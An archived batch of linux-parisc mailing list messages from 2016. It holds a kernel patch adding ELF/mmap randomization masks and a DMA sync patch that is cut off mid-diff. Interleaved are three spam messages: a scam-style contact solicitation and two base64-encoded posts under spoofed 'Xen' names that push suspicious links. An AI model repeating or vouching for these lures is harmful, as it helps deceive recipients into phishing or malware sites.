Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1476568979 24309 195.159.176.226 (15 Oct 2016 22:02:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 15 Oct 2016 22:02:59 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 16 00:02:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bvX2P-0004GG-Ok
	for glpp-linux-parisc@m.gmane.org; Sun, 16 Oct 2016 00:02:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753762AbcJOWCm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 15 Oct 2016 18:02:42 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:62844 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752505AbcJOWCl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 15 Oct 2016 18:02:41 -0400
Original-Received: from p100.box ([92.203.19.12]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MDzGN-1cBjuS2tA7-00HRyR; Sun, 16 Oct 2016 00:02:31
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:AxhZcOvEv6Db9jTPhPvZc0djz6PeXMpiMh5fTzSRFXtUHmV36oP
 t3BhOmORdsswi/ZoNo2xaLjLT6X1F7QUdT2aw3jwgyxsKaXLq/K0521GWbEJ/TddL5i6el1
 0v4q1svTqsl6QEqLb4xtwDAh4SkzwuLCfvnzWYohw/oExKLBZQanfy+tYTclBjYUE6nE43a
 2eedsCzZCH+um9qui91eA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:vH/c8G39xVE=:rG1Vr6o4bH4CLAWZnEildQ
 g1aIUVxy2B3U/LatGcpPS79GeTnwDYW+etidqD4SLI74qqYVnev6+acmYj8jfnsIJvOsyGMC3
 Fh31PO/m/N/fzeNEoc/XnhYEpz/fj+gPbg5c0O/0BBYG788YxSkPW5PDbuj+gaFCqKXrZeex8
 Bmr8HJJ/Q01KhEiRLJpCVjjPCzff+K4dNnxCa9wYL/hH9CGPsSlzSeXCfN6aj+1Da+3qskVRl
 nIUlDafN3zxBfZCP0fjAHnVTACVBbaq13kDNRxQQX/XKfD/koIOmP9x4BJO73ulqttt2Y5257
 W6YftsleS/eWMrtcQ19NBKbHjM5nE5mdHQSl158dvS+fztNAT2DV5NCjLtpvdXJGjE5ItMTwb
 L23qNIQ1R/6orrt6dNxc1SXim4JNNXR0S40f8Dak43HVcomews5FjXQbFcTm31e4mfwZzfOL0
 QKee0xkx/W9pkBoZzWFK6Wd32dLBCICtIIaAQXoQLCRwM+DeLF8afn+B/v0Xtylafu+Msifpy
 qDEXC62xwP4mK9Wd/5KxKtZnAL08SZX4UgAu/GODSShuFWwrBLpAzjkgK0E12v8M8nRu2wCwc
 9geHiyjyPJUeSjsO+0A6tzlJKA+HztBaBf+WzkVVeTVyf66kZGouPqMMAPq3MZywnu5Nr9yFk
 ETNwYn/Ye9By0FoWWEQm+huNbuBze3dGWXC4bY004l7Mq++PlEYNRjxlSRlzLLVxYmjZI1Mnw
 hwiCsIX+jheaBSL0hC9MB/mE2XJWnyTEoSIOr47BGDlxhS3i/rXm/CIE/Zc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27007
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27007>

Add missing code for userspace executable randomization, e.g.
applications compiled with the gcc -pie option.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 71c4a3a..e5cfadb 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -7,6 +7,7 @@ config PARISC
 	select HAVE_FUNCTION_GRAPH_TRACER
 	select HAVE_SYSCALL_TRACEPOINTS
 	select ARCH_WANT_FRAME_POINTERS
+	select ARCH_HAS_ELF_RANDOMIZE
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
diff --git a/arch/parisc/include/asm/elf.h b/arch/parisc/include/asm/elf.h
index 78c9fd3..a6b2a42 100644
--- a/arch/parisc/include/asm/elf.h
+++ b/arch/parisc/include/asm/elf.h
@@ -348,9 +348,10 @@ struct pt_regs;	/* forward declaration... */
 
 #define ELF_HWCAP	0
 
-#define STACK_RND_MASK	(is_32bit_task() ? \
-				0x7ff >> (PAGE_SHIFT - 12) : \
-				0x3ffff >> (PAGE_SHIFT - 12))
+/* Masks for stack and mmap randomization */
+#define BRK_RND_MASK	(is_32bit_task() ? 0x07ffUL : 0x3ffffUL)
+#define MMAP_RND_MASK	(is_32bit_task() ? 0x1fffUL : 0x3ffffUL)
+#define STACK_RND_MASK	MMAP_RND_MASK
 
 struct mm_struct;
 extern unsigned long arch_randomize_brk(struct mm_struct *);
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 4063943..ea6603e 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -276,11 +276,7 @@ void *dereference_function_descriptor(void *ptr)
 
 static inline unsigned long brk_rnd(void)
 {
-	/* 8MB for 32bit, 1GB for 64bit */
-	if (is_32bit_task())
-		return (get_random_int() & 0x7ffUL) << PAGE_SHIFT;
-	else
-		return (get_random_int() & 0x3ffffUL) << PAGE_SHIFT;
+	return (get_random_int() & BRK_RND_MASK) << PAGE_SHIFT;
 }
 
 unsigned long arch_randomize_brk(struct mm_struct *mm)
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 0a393a0..a81e177 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -225,19 +225,17 @@ static unsigned long mmap_rnd(void)
 {
 	unsigned long rnd = 0;
 
-	/*
-	*  8 bits of randomness in 32bit mmaps, 20 address space bits
-	* 28 bits of randomness in 64bit mmaps, 40 address space bits
-	*/
-	if (current->flags & PF_RANDOMIZE) {
-		if (is_32bit_task())
-			rnd = get_random_int() % (1<<8);
-		else
-			rnd = get_random_int() % (1<<28);
-	}
+	if (current->flags & PF_RANDOMIZE)
+		rnd = get_random_int() & MMAP_RND_MASK;
+
 	return rnd << PAGE_SHIFT;
 }
 
+unsigned long arch_mmap_rnd(void)
+{
+	return (get_random_int() & MMAP_RND_MASK) << PAGE_SHIFT;
+}
+
 static unsigned long mmap_legacy_base(void)
 {
 	return TASK_UNMAPPED_BASE + mmap_rnd();
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: varagas <amimorasarah@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: hilll
Date: Mon, 17 Oct 2016 18:19:57 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <CAHe-dWQLdBvSHfqmAeaiTxTj0uuXSPcBzTnLKboir3oMDLnMVQ__20202.2947524258$1476728432$gmane$org@mail.gmail.com>
Reply-To: duncanvargass@yahoo.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1476728432 16589 195.159.176.226 (17 Oct 2016 18:20:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 17 Oct 2016 18:20:32 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 17 20:20:27 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bwCW5-0001OW-BJ
	for glpp-linux-parisc@m.gmane.org; Mon, 17 Oct 2016 20:20:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933861AbcJQSUD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 17 Oct 2016 14:20:03 -0400
Original-Received: from mail-io0-f195.google.com ([209.85.223.195]:33697 "EHLO
        mail-io0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933728AbcJQST6 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 17 Oct 2016 14:19:58 -0400
Original-Received: by mail-io0-f195.google.com with SMTP id q192so11358158iod.0
        for <linux-parisc@vger.kernel.org>; Mon, 17 Oct 2016 11:19:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:reply-to:from:date:message-id:subject:to;
        bh=nXvHZqY1B94tGyaZ/zNXeMlPOj9jhyODI7nbgzhVfcw=;
        b=DFprh/TdhT/Z4bIpWlOW0HpfpdPPkGEA+sRM+uGFvgGXQxFDdVqjCdqOlEEJvWRwVI
         rLmXgKecDBVWH5M9Vr4LJf2V9AQGMNnzDwu7t9jX2MDHXxrmtyHpFxy6KcJUXkVJ6Ir+
         nuGKTQxcin55Ygm4vXKwtFAqv9osby3vb8lmbD2Ym8zaJjvu+egKbwA86JhdRHu7WqOy
         /RYE69w/9gxwS1eNtFo3ZDwjRNgWKNWH6CEc3d3VrXRW/6IgswSbVgH0gLqOW11wOMX4
         to3k9/g6HhRLUtwoL0Msd0FnIv2jemfbxoKxK5T9RxeZqu0DB7am5b6BS742OGoZg1q8
         JEag==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:reply-to:from:date:message-id
         :subject:to;
        bh=nXvHZqY1B94tGyaZ/zNXeMlPOj9jhyODI7nbgzhVfcw=;
        b=boiBniDGo3BPmuGIzsNB2rS/fHviiSUjCZ9wGZKgN9QFtm3oSFBedtPdZGWo88TdlE
         OGGLLCsZkwAfHX0Emh9qpvLLfqtmETjnyN/DsB2vNymPcfzX1eLbZaMO/Gak9fPw8s+8
         v7vWTxQqaQMstMYkzw4V3VNHpKPnYlhD9Eqwa0Ep/x8AddAXLOHE/H7qtv1tsCAwPEnL
         jLFjbnNlnHiIiZ+qJ0rRQpBzZa9MIGlVZGd+SvrOtKybDcCmW/tZm06vyA3kq6bkhLtY
         ohDTgSv/I9iLvHBPUV0w0uYVJW5fFaH2lb59x6hqeCnkeoalgHKJD7MRXNese/JoBNGz
         tsuQ==
X-Gm-Message-State: AA6/9Rl7vl/f0P+YpFFrfvkoaDwW4g8vceNP39kcalZfiKhx6e3ZBCU3WCWMTEBfzLk0smqyFuH0up5x8ZUA9Q==
X-Received: by 10.107.167.82 with SMTP id q79mr28821259ioe.120.1476728397761;
 Mon, 17 Oct 2016 11:19:57 -0700 (PDT)
Original-Received: by 10.107.138.29 with HTTP; Mon, 17 Oct 2016 11:19:57 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27008
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27008>

i am Duncan Vargas From USA, i get you through web book i need a good
interest contact me direct through my email, duncanvargass@yahoo.com,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Xen-devel <bunkertor@tiscali.it>
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?B?ZGV0YWlscw==?=
Date: Mon, 17 Oct 2016 20:40:36 +0300
Lines: 8
Approved: news@gmane.org
Message-ID: <00000084e01b$23220819$659c3d8e$@tiscali.it>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1476755322 24231 195.159.176.226 (18 Oct 2016 01:48:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Oct 2016 01:48:42 +0000 (UTC)
To: "Jan Bakuwel" <jan.bakuwel@greenpeace.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 18 03:48:38 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bwJW1-0004jg-AH
	for glpp-linux-parisc@m.gmane.org; Tue, 18 Oct 2016 03:48:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933772AbcJRBsa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 17 Oct 2016 21:48:30 -0400
Original-Received: from mailhost.mobimail.mobitelnet.lk ([202.129.235.2]:53576 "EHLO
        mailhost.mobimail.mobitelnet.lk" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1753934AbcJRBsa (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 17 Oct 2016 21:48:30 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
        by mailhost.mobimail.mobitelnet.lk (Postfix) with ESMTP id 31A2D6FDCA2;
        Tue, 18 Oct 2016 02:06:52 +0530 (IST)
Original-Received: from mailhost.mobimail.mobitelnet.lk ([127.0.0.1])
        by localhost (mailhost.mobimail.mobitelnet.lk [127.0.0.1]) (amavisd-new, port 10032)
        with ESMTP id eJ94iqN8ul2m; Tue, 18 Oct 2016 02:06:50 +0530 (IST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
        by mailhost.mobimail.mobitelnet.lk (Postfix) with ESMTP id 234406F4668;
        Tue, 18 Oct 2016 01:31:46 +0530 (IST)
X-Virus-Scanned: amavisd-new at mobimail.mobitelnet.lk
Original-Received: from mailhost.mobimail.mobitelnet.lk ([127.0.0.1])
        by localhost (mailhost.mobimail.mobitelnet.lk [127.0.0.1]) (amavisd-new, port 10026)
        with ESMTP id WBHnNpzMX17z; Tue, 18 Oct 2016 01:31:45 +0530 (IST)
Original-Received: from 46.17.247.215 (unknown [46.17.247.215])
        by mailhost.mobimail.mobitelnet.lk (Postfix) with ESMTPSA id BABC073B4D5;
        Mon, 17 Oct 2016 23:08:12 +0530 (IST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27009
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27009>

SGkhIA0KDQpKdXN0IHRha2UgYSBsb29rICBhdCB0aGF0IGF3ZXNvbWUgc3R1ZmYsIGVzcGVjaWFsbHkg
dGhlIGRldGFpbHMhIEp1cyBhbWF6aW5nISEhIENoZWNrIHRoaXMgb3V0IDxodHRwOi8vdGh1cy5wYW56
ZXJiam9ybi5jb20vb2lkYXk+DQoNCkhvcGUgdGhpcyBoZWxwcywgWGVuLWRldmVsDQo=
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Xen-users <stellarsun@libero.it>
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?B?SGk=?=
Date: Wed, 19 Oct 2016 05:20:04 +0300
Lines: 8
Approved: news@gmane.org
Message-ID: <00004fbde2d4$36ecf0cb$a388a96a$@tiscali.it>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1476844116 31545 195.159.176.226 (19 Oct 2016 02:28:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 19 Oct 2016 02:28:36 +0000 (UTC)
To: nospam@kota.moe
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 19 04:28:32 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bwgcJ-0007HJ-6X
	for glpp-linux-parisc@m.gmane.org; Wed, 19 Oct 2016 04:28:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754257AbcJSC2c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Oct 2016 22:28:32 -0400
Original-Received: from smtp-31-i6.italiaonline.it ([212.48.14.165]:58017 "EHLO
        libero.it" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1753216AbcJSC2b (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Oct 2016 22:28:31 -0400
X-Greylist: delayed 490 seconds by postgrey-1.27 at vger.kernel.org; Tue, 18 Oct 2016 22:28:30 EDT
Original-Received: from 89.215.162.148 ([89.215.162.148])
        by smtp-31.iol.local with SMTP
        id wgUGbbCC4OMCMwgUIbe7HH; Wed, 19 Oct 2016 04:20:18 +0200
x-libjamoibt: 1601
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=libero.it; s=s2014;
        t=1476843619; bh=PZycbdMhS/vitmwYpG05jiTIfnIUOPDQrxfdGJ7Uw88=;
        h=From:To:Date:Subject;
        b=pgKNz1kYEB8YIzf5u92WgaMzTYxdRV0LB4op3ERwkun2ubifnnblkYgWO5H+q1D0c
         tCEK7i4E5Z5rVpm7u8sFsTnuy+lH5jSKZnRd7yyRJiX9l6BnEn+SL64CS6giazp0n7
         ns9dj9cfHQLNsGpfHFOjk1mI14igtK/4+ng16GVOnhP7t0YSREs6mjQ1LcMg6Xd8ts
         GYjJj+wEwUw05SbxIKVKqQzbJAA4mwBigNXg0HghyC8NIn9l8evExUMp4ETIm/z90y
         fXNdZCvFEySeNEGhX2dBP1WoDliL16H2sZyOAsN+u/YtnR/ceaUYwhZEmq8BVld49N
         OXTfCwGB5mAPA==
X-CNFS-Analysis: v=2.2 cv=JoSBlIwC c=1 sm=1 tr=0
 p=5mxbZDA26yrb5CE8d+HXPA==:17 p=jzq0VhoCAAAA:8 a=5mxbZDA26yrb5CE8d+HXPA==:117
 a=IkcTkHD0fZMA:10 a=-UKIK5TdBriG1LfTfmsA:9 a=QEXdDO2ut3YA:10
 a=LACoBxvFDQEA:10 a=MOnIrOoxX8qENmNzIfla:22
X-CMAE-Envelope: MS4wfO0qL1o22NDWQUVaJRVE1KfF4UNAeBEKhVkWPDdvyMzF5qPUIGP685AWz9cpROKRLomwVOf5JHE/Z/+1J+AfiEYJ0bD0GBUTJM+6UUoXknNSmJtHJkZL
 Ol0L8bQhJfNQUhZM6WcYyGDVXtLvTw06LHmWQn7HKKyrO7NSeJMWD9y9MBMRqWHEtQI+wU0TtMiJhH/+rBKTaFkrLni/yvVyZPm/4xW1YY979gPhaMobHKGh
 J4Oj2vFHpZSsqs/IMxJnaoguRgkDw6g7BrbAXYAuZ9XClcfTqeBwtrz3wPHWYNvYeka2xk56q8VYhL2Q456r9xljb8EkLBeGGe2Ue+s2GLLMMh8TVYsOv+ZW
 uHnBjPmQppQM1+bfFShF++2MGF5KnG8dFDCglZbPo1a80/Cn62h5obwM5ynXL4Va40o8sNKC7XYP1N1Bh78gErT5Hc2RVVJ5TadjemY71MjskrYR/iLPlA2l
 MEseRlxPkSkvbEpC1AXqE6JYHbJA44tSzBXf/c3gYdrB44oS/AK/UXea2MlTuhWnCy9ul7ovoIS4+BwVNxWCf10kCqTC7mlYan6QM07pNAtIWJQIxodA0Lhm
 eCGeqry5xW7D8h3MG90322saUkzwjVhaskWABrO5woRtAw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27010
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27010>

SGkgZnJpZW5kISANCg0KSSBqdXN0IHdhbnRlZCB0b3NheSBIaSBhbmQgYWxzbyAgc2hvdyB5b3Ugc29t
ZXRoaW5nIHJlYWxseSBjb29sLCAganVzdCAgdGFrZSBhIGxvb2sgPGh0dHA6Ly9ub3ZlbC5sYW5hd2hp
c21hbi5uZXQvZTZrbW9sbng+DQoNClhlbi11c2Vycw0K
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexander Duyck <alexander.h.duyck@intel.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.network,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [net-next PATCH RFC 16/26] arch/parisc: Add option to skip DMA sync
 as a part of map and unmap
Date: Mon, 24 Oct 2016 08:05:51 -0400
Lines: 85
Approved: news@gmane.org
Message-ID: <20161024120551.16276.97665.stgit@ahduyck-blue-test.jf.intel.com>
References: <20161024115737.16276.71059.stgit@ahduyck-blue-test.jf.intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1477332415 16089 195.159.176.226 (24 Oct 2016 18:06:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 24 Oct 2016 18:06:55 +0000 (UTC)
User-Agent: StGit/0.17.1-dirty
Cc: Helge Deller <deller@gmx.de>, brouer@redhat.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, linux-parisc@vger.kernel.org,
 davem@davemloft.net
To: netdev@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org
Original-X-From: owner-linux-mm@kvack.org Mon Oct 24 20:06:49 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1byjdj-0001Dg-Dv
	for glkm-linux-mm-2@m.gmane.org; Mon, 24 Oct 2016 20:06:27 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 14ECC280262; Mon, 24 Oct 2016 14:06:29 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 100DA280261; Mon, 24 Oct 2016 14:06:29 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id F300F280262; Mon, 24 Oct 2016 14:06:28 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pa0-f72.google.com (mail-pa0-f72.google.com [209.85.220.72])
	by kanga.kvack.org (Postfix) with ESMTP id BE5F5280261
	for <linux-mm@kvack.org>; Mon, 24 Oct 2016 14:06:28 -0400 (EDT)
Original-Received: by mail-pa0-f72.google.com with SMTP id s7so3242743pal.1
        for <linux-mm@kvack.org>; Mon, 24 Oct 2016 11:06:28 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:subject:from
         :to:cc:date:message-id:in-reply-to:references:user-agent
         :mime-version:content-transfer-encoding;
        bh=Oqq5DARJL4OYVF1FA8ac9jaHDJBmGNy009SvBZqv3Xo=;
        b=D1BwiEQDaXwKsNPOWwTfSyH19NqzxTSXUN+qCsUn9fPO8fhOiV4kvvUKdmHakubJZw
         saNmfwhWzGmQVe4CdEhzquZ1BV7oE9z85ptGA59195OydIoQytedWFqcZNw8MOFO1MAH
         lD9QPerCE4mA7kgHf3U/+RXBP0cf5iy1JSllMr4GL4McpUD7xn92wcK+It2K/N0D3g3p
         cLUd9IfBYmClhcqpESYOiEGHmYRwS+3Rj3g/RS+udbOtkuYgPhwU8sgz29zUCN4KrY/3
         mZbStY3cTs5K8fjyCFXOjhz3iMHavPUqTDr3f1V0ObWla+ROy+H3qur66wRLseshfGwq
         Jadw==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of alexander.h.duyck@intel.com designates 192.55.52.88 as permitted sender) smtp.mailfrom=alexander.h.duyck@intel.com
X-Gm-Message-State: ABUngvcLi5q1waKLRC67uSK+NLGjMTV+ZniyGnmukFpiQZt61bH7/LK5QNT71mbFV8e9qlX71NpzIpnxreX4kMYvY2ZTHSAIaulwwpxuZD+JpfPH8WDpkOWTE8y/LIP5/qP0iQpUvxRPScQmPiHU4CKciM4frMZV6VkqBtxwhZYf1KCHkW9RHkpj219y
X-Received: by 10.98.192.24 with SMTP id x24mr30836429pff.118.1477332388442;
        Mon, 24 Oct 2016 11:06:28 -0700 (PDT)
X-Received: by 10.98.192.24 with SMTP id x24mr30836385pff.118.1477332388038;
        Mon, 24 Oct 2016 11:06:28 -0700 (PDT)
Original-Received: from mga01.intel.com (mga01.intel.com. [192.55.52.88])
        by mx.google.com with ESMTPS id d4si16612883pfd.78.2016.10.24.11.06.27
        for <linux-mm@kvack.org>
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Mon, 24 Oct 2016 11:06:28 -0700 (PDT)
Received-SPF: pass (google.com: domain of alexander.h.duyck@intel.com designates 192.55.52.88 as permitted sender) client-ip=192.55.52.88;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of alexander.h.duyck@intel.com designates 192.55.52.88 as permitted sender) smtp.mailfrom=alexander.h.duyck@intel.com
Original-Received: from orsmga005.jf.intel.com ([10.7.209.41])
  by fmsmga101.fm.intel.com with ESMTP; 24 Oct 2016 11:06:27 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.31,542,1473145200"; 
   d="scan'208";a="23162580"
Original-Received: from ahduyck-blue-test.jf.intel.com ([134.134.2.201])
  by orsmga005.jf.intel.com with ESMTP; 24 Oct 2016 11:06:27 -0700
In-Reply-To: <20161024115737.16276.71059.stgit@ahduyck-blue-test.jf.intel.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:159855 gmane.linux.network:436217 gmane.linux.kernel:2333790 gmane.linux.ports.parisc:27011
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/159855>

This change allows us to pass DMA_ATTR_SKIP_CPU_SYNC which allows us to
avoid invoking cache line invalidation if the driver will just handle it
via a sync_for_cpu or sync_for_device call.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Alexander Duyck <alexander.h.duyck@intel.com>
---
 arch/parisc/kernel/pci-dma.c |   20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 02d9ed0..be55ede 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -459,7 +459,9 @@ static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
 	void *addr = page_address(page) + offset;
 	BUG_ON(direction == DMA_NONE);
 
-	flush_kernel_dcache_range((unsigned long) addr, size);
+	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		flush_kernel_dcache_range((unsigned long) addr, size);
+
 	return virt_to_phys(addr);
 }
 
@@ -469,8 +471,11 @@ static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 {
 	BUG_ON(direction == DMA_NONE);
 
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+		return;
+
 	if (direction == DMA_TO_DEVICE)
-	    return;
+		return;
 
 	/*
